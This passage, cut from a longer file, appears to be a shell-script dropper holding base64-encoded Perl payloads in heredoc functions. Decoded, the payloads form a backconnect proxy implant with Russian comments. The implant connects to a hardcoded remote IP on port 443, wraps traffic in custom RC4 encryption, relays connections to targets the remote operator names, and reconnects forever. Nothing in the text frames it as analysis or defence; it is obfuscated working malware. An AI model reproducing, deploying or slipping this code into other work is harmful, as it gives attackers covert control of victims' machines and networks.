ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_3() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNjInOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
IH0KCiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd
0KvQmSBSQzQgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgUmM0X2NyeXB0X2Zhc3QgewogICAg
bXkgKCRwYXNzdywgJGxlbmd0aCwgJGJ1ZmYwLCAkc3RhcnQsICRzeikgPSBAXzsKCiAgICAjINCR
0YvRgdGC0YDRi9C5INC00L7RgdGC0YPQvyDQuiDQtNCw0L3QvdGL0LwKICAgIG15ICRkYXRhX3Jl
ZiA9ICQkYnVmZjA7CiAgICBteSAka2V5X3JlZiA9ICQkcGFzc3c7CgogICAgIyDQn9C10YDQstGL
0LkgWE9SINGBINC60LvRjtGH0L7QvAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsr
KSB7CiAgICAgICAgdmVjKCRkYXRhX3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3Jl
ZiwgJGkgJSAkbGVuZ3RoLCA4KTsKICAgIH0KCiAgICAjINCY0L3QuNGG0LjQsNC70LjQt9Cw0YbQ
uNGPIFJDNCAo0YLQvtGH0L3QsNGPINC60L7Qv9C40Y8g0L7RgNC40LPQuNC90LDQu9GM0L3QvtCz
0L4g0LDQu9Cz0L7RgNC40YLQvNCwKQogICAgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKICAgIHZl
YygkcmM0LCAkXywgOCkgPSAkXyBmb3IgMC4uMjU1OwoKICAgIG15ICRwb2NrZW1vbjAgPSAwOwog
ICAgbXkgJHBvY2tlbW9uMSA9IDA7CiAgICBteSAkcG9ja2Vtb24yID0gMDsKICAgIG15ICRwb2Nr
ZW1vbjMgPSAkbGVuZ3RoOwogICAgbXkgJGdzID0gMDsKCiAgICB3aGlsZSgxKSB7CiAgICAgICAg
aWYgKCRncyA9PSAwKSB7CiAgICAgICAgICAgICRwb2NrZW1vbjIgPSAwOwogICAgICAgICAgICAk
cG9ja2Vtb24zID0gJGxlbmd0aDsKICAgICAgICB9CgogICAgICAgIGlmICgkZ3MgIT0gMCkgewog
ICAgICAgICAgICAkZ3MgPSAwOwogICAgICAgICAgICAkcG9ja2Vtb24yKys7CiAgICAgICAgICAg
IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
